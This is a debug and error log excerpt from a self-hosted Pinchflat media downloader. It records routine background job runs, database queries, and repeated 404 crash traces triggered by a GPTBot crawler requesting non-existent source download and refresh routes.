bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10867.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_download_pending", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 58500}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10868.0>, params: %{}, path_info: ["sources", "1", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_head (truncated) 16:27:27.158 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:57.159 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:00.734 [info] {"source":"oban","duration":276,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:28:27.160 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:28.631 [info] GET /sources/1/force_metadata_refresh 16:28:28.632 [debug] QUERY OK source="settings" db=0.1ms idle=1678.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:28:28.632 [debug] QUERY OK source="settings" db=0.0ms idle=1471.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:28:28.632 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:28:28.632 [error] #PID<0.10875.0> running PinchflatWeb.Endpoint (connection #PID<0.10874.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/1/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10874.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_metadata_refresh", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 43152}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10875.0>, params: %{}, path_info: ["sources", "1", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/1/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVGppbZrdk_X2sAA-xB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10874.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_metadata_refresh", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 43152}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10874.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_metadata_refresh", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 43152}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10875.0>, params: %{}, path_info: ["sources", "1", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_head (truncated) 16:28:57.161 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:00.734 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:29:27.162 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:29.516 [info] GET /sources/2/force_download_pending 16:29:29.516 [debug] QUERY OK source="settings" db=0.1ms idle=1563.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:29:29.516 [debug] QUERY OK source="settings" db=0.0ms idle=1564.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:29:29.516 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:29:29.517 [error] #PID<0.10881.0> running PinchflatWeb.Endpoint (connection #PID<0.10880.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/2/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10880.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_download_pending", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34442}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10881.0>, params: %{}, path_info: ["sources", "2", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/2"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/2/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVGtMPe6LOHQIYAA-0B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10880.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_download_pending", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34442}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10880.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_download_pending", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34442}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10881.0>, params: %{}, path_info: ["sources", "2", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_head (truncated) 16:29:33.290 [info] GET /api/v1/videos 16:29:33.290 [debug] Processing with PinchflatWeb.Api.V1.VideoController.index/2 Parameters: %{} Pipelines: [:api_v1] 16:29:33.311 [debug] QUERY OK source="media_items" db=21.1ms idle=1337.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 [] 16:29:33.362 [info] Sent 200 in 72ms 16:29:57.163 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:00.735 [info] {"source":"oban","duration":159,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:30:27.164 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:31.085 [info] GET /sources/3/force_download_pending 16:30:31.085 [debug] QUERY OK source="settings" db=0.1ms idle=325.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:30:31.085 [debug] QUERY OK source="settings" db=0.0ms idle=132.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:30:31.085 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:30:31.085 [error] #PID<0.10892.0> running PinchflatWeb.Endpoint (connection #PID<0.10891.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/3/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10891.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_download_pending", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 53886}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10892.0>, params: %{}, path_info: ["sources", "3", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/3"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/3/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVGwxmnwlToMuAAAMID"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10891.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_download_pending", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 53886}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10891.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_download_pending", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 53886}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10892.0>, params: %{}, path_info: ["sources", "3", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_head (truncated) 16:30:53.547 [info] GET / 16:30:53.547 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 16:30:53.548 [debug] QUERY OK source="settings" db=0.1ms idle=763.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:30:53.548 [debug] QUERY OK source="media_profiles" db=0.0ms idle=595.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 16:30:53.548 [debug] QUERY OK source="sources" db=0.0ms idle=595.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 16:30:53.549 [debug] QUERY OK source="media_items" db=0.7ms idle=595.5ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:30:53.549 [debug] QUERY OK source="media_items" db=0.3ms idle=596.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:30:53.549 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:30:53.549 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:30:53.550 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:30:53.550 [debug] QUERY OK source="media_items" db=0.3ms idle=1.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:30:53.551 [debug] QUERY OK source="media_items" db=0.5ms idle=1.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", 